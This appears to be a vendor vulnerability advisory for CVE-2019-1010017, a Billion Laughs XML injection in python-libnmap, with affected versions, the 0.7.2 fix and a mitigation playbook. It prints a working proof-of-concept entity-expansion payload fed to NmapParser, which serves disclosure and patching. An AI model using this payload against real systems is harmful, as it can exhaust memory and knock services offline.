CVE-2019-1010017 is a high-severity (CVSS 7.5) CWE-91 vulnerability in python-libnmap. 1 public exploit or proof-of-concept reference is indexed, so weaponization risk is real. A fix is available for python-libnmap — see the affected versions and patch details below.
XML Injection in python-libnmap
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
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Real-World Exposure
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Description
Description
python-libnmap is affected by a Billion-Laughs -style XML injection vulnerability.
PoC
ty = NmapParser()
payload = """
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<lolz><hello>&lol3;</hello></lolz>
"""
ty.parse(payload)
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | python-libnmap | all versions | 0.7.2pip install --upgrade 'python-libnmap==0.7.2' |
Affected Products
libnmaplibnmapResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for python-libnmap, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update python-libnmap to 0.7.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2019-1010017 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is CVE-2019-1010017 in your dependencies?
Find it across PyPI, including transitive dependencies.